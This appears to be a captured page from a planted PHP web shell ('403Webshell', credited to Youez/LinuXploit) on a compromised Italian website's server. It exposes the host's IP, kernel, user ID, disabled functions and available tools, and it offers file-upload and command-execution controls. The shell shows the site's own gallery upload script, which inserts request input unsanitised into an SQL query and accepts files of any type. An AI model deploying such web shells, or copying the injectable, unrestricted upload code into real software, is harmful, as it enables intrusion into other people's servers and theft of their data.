403Webshell
Server IP : 89.46.109.6  /  Your IP : 216.73.217.116
Web Server : Apache
System : Linux hlpi1ws-c284s07.ad.aruba.it 5.15.0-186-generic #196-Ubuntu SMP Sat Jun 20 16:09:34 UTC 2026 x86_64
User : ID19067310 ( 19067310)
PHP Version : 5.3.29
Disable Function : system,popen,dl,passthru,proc_open,shell_exec
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /web/htdocs/www.edizacco.it/home/pannello/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /web/htdocs/www.edizacco.it/home/pannello/gestione_gallery_upload.php
<?php
require_once('../include/connect_db.php');

$prefix = PREFIX;
$id_categoria = $_REQUEST['id_categoria'];
$cartella = GALLERYDIRECTORY; 

$uploaddir = '../'.$cartella.'/'; 

$nome_images =  "foto_".$id_categoria."_".basename($_FILES['uploadfile']['name']);
//$file = $uploaddir . $nome_images ; 
$file = $uploaddir . $nome_images; 
$size=$_FILES['uploadfile']['size'];
if($size>1048576)
{
	echo "error file size > 1 MB";
	unlink($_FILES['uploadfile']['tmp_name']);
	exit;
}
if (move_uploaded_file($_FILES['uploadfile']['tmp_name'], $file)) { 
	//echo "DOWNLOAD"; 
	mysql_query("INSERT INTO ".$prefix."_gallery_foto (id_categoria, foto) VALUES ('$id_categoria', '$nome_images')"); 
} else {
	echo "ERRORE: ".$_FILES['uploadfile']['error']." --- ".$_FILES['uploadfile']['tmp_name']." %%% ".$file."($size)";
}
?>

Youez - 2016 - github.com/yon3zu
LinuXploit